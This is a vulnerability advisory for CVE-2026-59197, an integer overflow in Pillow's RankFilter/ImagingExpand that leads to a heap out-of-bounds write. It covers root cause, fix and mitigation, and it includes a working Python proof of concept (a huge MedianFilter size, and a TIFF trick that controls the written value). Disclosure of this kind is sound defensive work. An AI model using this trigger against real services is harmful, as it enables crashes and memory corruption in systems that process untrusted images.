high · 8.2CVE-2026-59197Jul 20, 2026

CVE-2026-59197: Pillow Heap Out-of-Bounds Write via Integer Overflow in RankFilter

Rohit Hatagale
AI Security Researcher, SecureLayer7

Passing a very large filter size to Pillow's MedianFilter, MinFilter, or MaxFilter triggers a native heap buffer overflow in C code, which can corrupt process memory and potentially be exploited by…

PackagePillow
Ecosystempip
Affected< 12.3.0
Fixed in12.3.0

The problem

In Pillow versions before 12.3.0, ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before validating the filter size. With size = 4294967295 (0xFFFFFFFF), the expansion margin becomes INT_MAX (2147483647).

ImagingExpand() in src/libImaging/Filter.c then computes output image dimensions using unchecked signed int arithmetic. The addition wraps around, producing a tiny (for example, 1x1) allocation. The border-copy loop still iterates up to INT_MAX times, writing past the allocation.

Mode "I" images produce 4-byte OOB writes where the value comes from attacker-supplied pixel data.

Proof of concept

A working proof-of-concept for CVE-2026-59197 in Pillow, with the exact payload below.

python
# Minimal crash (1-byte OOB write, mode L)
from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

# 4-byte OOB write with attacker-controlled pixel value (mode I)
from io import BytesIO
from PIL import Image, ImageFilter

SIZE = 4294967295
PIXEL = 0x41424344

src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE))

The root cause is a classic CWE-190 integer overflow. ImagingExpand() adds 2 * xmargin to the input image width using a plain signed int, so passing INT_MAX as the margin wraps the sum to a small value. The allocator sees that small size, but the border-copy loop iterates INT_MAX times against it.

The checks that reject oversized filters exist in RankFilter.c, but they are unreachable in the vulnerable code path because image.expand() is called first in Python, before rankfilter() ever runs. The fix moves size validation to RankFilter.__init__() (PR #9695) so it fires at construction time, and hardens ImagingExpand() with an explicit overflow guard: if (xmargin > (INT_MAX - imIn->xsize) / 2) before the allocation.

The fix

Upgrade Pillow to 12.3.0 or later. The fix is in commit cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1 (PR #9695). It validates the filter size in RankFilter.__init__() before expand() is ever called, and adds an integer-overflow guard to ImagingExpand() in Filter.c.

If you cannot upgrade immediately, reject untrusted filter-size inputs at the application layer before passing them to any RankFilter, MedianFilter, MinFilter, or MaxFilter constructor.

Reported by Seratov.

References: [1][2][3][4][5][6]

Related research